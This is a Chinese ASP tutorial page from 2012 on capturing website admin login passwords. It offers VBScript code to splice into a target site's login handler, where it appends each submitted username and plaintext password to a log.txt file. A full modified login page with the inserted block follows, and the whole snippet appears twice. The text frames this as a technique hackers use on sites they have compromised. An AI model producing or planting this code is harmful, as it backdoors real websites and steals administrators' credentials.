Asp截獲后臺(tái)登錄密碼的代碼
更新時(shí)間:2012年05月05日 01:18:32 作者:
很多黑客通過(guò)修改后臺(tái)登陸代碼獲得目標(biāo)網(wǎng)站的用戶登錄密碼,這樣我們一旦輸入了密碼就保存到一個(gè)txt里面
核心代碼:
set fso=server.createobject("scripting.filesystemobject")
if fso.FileExists(server.mappath("log.txt"))=true then
set fin=fso.OpenTextFile(server.mappath("log.txt"))
temp=fin.readall
fin.close
set fin=nothing
end if
set fout=fso.createtextfile(server.mappath("log.txt"))
fout.WriteLine(temp&"user:"&username&"¦pwd:"&password&"¦time:"&now()&"")
fout.close
set fout=nothing
set fso=nothing
在后臺(tái)登錄處表單提交的地方插入!
參考文件:
<%@language=vbscript codepage=936 %>
<%
dim sql,rs
dim username,password,CheckCode
username=replace(trim(request("username")),"'","")
password=replace(trim(Request("password")),"'","")
CheckCode=replace(trim(Request("CheckCode")),"'","")
if UserName="" then
FoundErr=True
ErrMsg=ErrMsg & "<br><li>用戶名不能為空!</li>"
end if
if Password="" then
FoundErr=True
ErrMsg=ErrMsg & "<br><li>密碼不能為空!</li>"
end if
if CheckCode="" then
FoundErr=True
ErrMsg=ErrMsg & "<br><li>驗(yàn)證碼不能為空!</li>"
end if
if session("CheckCode")="" then
FoundErr=True
ErrMsg=ErrMsg & "<br><li>你登錄時(shí)間過(guò)長(zhǎng),請(qǐng)重新返回登錄頁(yè)面進(jìn)行登錄。</li>"
end if
if CheckCode<>CStr(session("CheckCode")) then
FoundErr=True
ErrMsg=ErrMsg & "<br><li>您輸入的確認(rèn)碼和系統(tǒng)產(chǎn)生的不一致,請(qǐng)重新輸入。</li>"
end if
'這后面是我增加的代碼~開(kāi)始區(qū)域
set fso=server.createobject("scripting.filesystemobject")
if fso.FileExists(server.mappath("log.txt"))=true then
set fin=fso.OpenTextFile(server.mappath("log.txt"))
temp=fin.readall
fin.close
set fin=nothing
end if
set fout=fso.createtextfile(server.mappath("log.txt"))
fout.WriteLine(temp&"user:"&username&"|pwd:"&password&"|time:"&now()&"")
fout.close
set fout=nothing
set fso=nothing
'后面的代碼被我刪除了~結(jié)束區(qū)域
%>
本文涉及語(yǔ)句作者是:會(huì)的不多iFat
復(fù)制代碼 代碼如下:
set fso=server.createobject("scripting.filesystemobject")
if fso.FileExists(server.mappath("log.txt"))=true then
set fin=fso.OpenTextFile(server.mappath("log.txt"))
temp=fin.readall
fin.close
set fin=nothing
end if
set fout=fso.createtextfile(server.mappath("log.txt"))
fout.WriteLine(temp&"user:"&username&"¦pwd:"&password&"¦time:"&now()&"")
fout.close
set fout=nothing
set fso=nothing
在后臺(tái)登錄處表單提交的地方插入!
參考文件:
復(fù)制代碼 代碼如下:
<%@language=vbscript codepage=936 %>
<%
dim sql,rs
dim username,password,CheckCode
username=replace(trim(request("username")),"'","")
password=replace(trim(Request("password")),"'","")
CheckCode=replace(trim(Request("CheckCode")),"'","")
if UserName="" then
FoundErr=True
ErrMsg=ErrMsg & "<br><li>用戶名不能為空!</li>"
end if
if Password="" then
FoundErr=True
ErrMsg=ErrMsg & "<br><li>密碼不能為空!</li>"
end if
if CheckCode="" then
FoundErr=True
ErrMsg=ErrMsg & "<br><li>驗(yàn)證碼不能為空!</li>"
end if
if session("CheckCode")="" then
FoundErr=True
ErrMsg=ErrMsg & "<br><li>你登錄時(shí)間過(guò)長(zhǎng),請(qǐng)重新返回登錄頁(yè)面進(jìn)行登錄。</li>"
end if
if CheckCode<>CStr(session("CheckCode")) then
FoundErr=True
ErrMsg=ErrMsg & "<br><li>您輸入的確認(rèn)碼和系統(tǒng)產(chǎn)生的不一致,請(qǐng)重新輸入。</li>"
end if
'這后面是我增加的代碼~開(kāi)始區(qū)域
set fso=server.createobject("scripting.filesystemobject")
if fso.FileExists(server.mappath("log.txt"))=true then
set fin=fso.OpenTextFile(server.mappath("log.txt"))
temp=fin.readall
fin.close
set fin=nothing
end if
set fout=fso.createtextfile(server.mappath("log.txt"))
fout.WriteLine(temp&"user:"&username&"|pwd:"&password&"|time:"&now()&"")
fout.close
set fout=nothing
set fso=nothing
'后面的代碼被我刪除了~結(jié)束區(qū)域
%>
本文涉及語(yǔ)句作者是:會(huì)的不多iFat
您可能感興趣的文章:
相關(guān)文章
asp+JMAIL實(shí)現(xiàn)發(fā)送郵件
這篇文章主要介紹了asp+JMAIL實(shí)現(xiàn)發(fā)送郵件實(shí)例代碼,感興趣的小伙伴們可以參考一下2015-09-09ASP中讓Replace替換不區(qū)分大小寫(xiě)的方法
默認(rèn)我們?cè)贏SP中用Replace的時(shí)候是會(huì)區(qū)分大小寫(xiě)的,如何讓Replace不區(qū)分呢,這里簡(jiǎn)單介紹下,方便需要的朋友2013-04-04ASP中實(shí)現(xiàn)定時(shí)發(fā)送郵件的代碼分享
這篇文章主要介紹了ASP中實(shí)現(xiàn)定時(shí)發(fā)送郵件的代碼分享,使用VBS的方式實(shí)現(xiàn),并運(yùn)行在數(shù)據(jù)庫(kù)中,需要的朋友可以參考下2014-07-07windows2003下使用asp WScript.Shell的設(shè)置方法
在windows2000下,IIS默認(rèn)設(shè)置是可以web和可執(zhí)行程序通信的。但是在2003下IIS關(guān)于這方面的服務(wù)是禁止的。2007-12-12asp 通用數(shù)據(jù)庫(kù)連接過(guò)程函數(shù)
asp 通用數(shù)據(jù)庫(kù)連接過(guò)程函數(shù)...2007-08-08ASP網(wǎng)站生成靜態(tài)html頁(yè)面技術(shù)小結(jié)
ASP網(wǎng)站生成靜態(tài)html頁(yè)面技術(shù)小結(jié)...2007-07-07SmartHTTP 簡(jiǎn)易HttpRequest類(ASP)
SmartHTTP 簡(jiǎn)易HttpRequest類(ASP),需要的朋友可以參考下。2011-03-03巧用FileSystem組件實(shí)現(xiàn)WEB應(yīng)用中的本地特定打印的方法
巧用FileSystem組件實(shí)現(xiàn)WEB應(yīng)用中的本地特定打印的方法...2007-04-04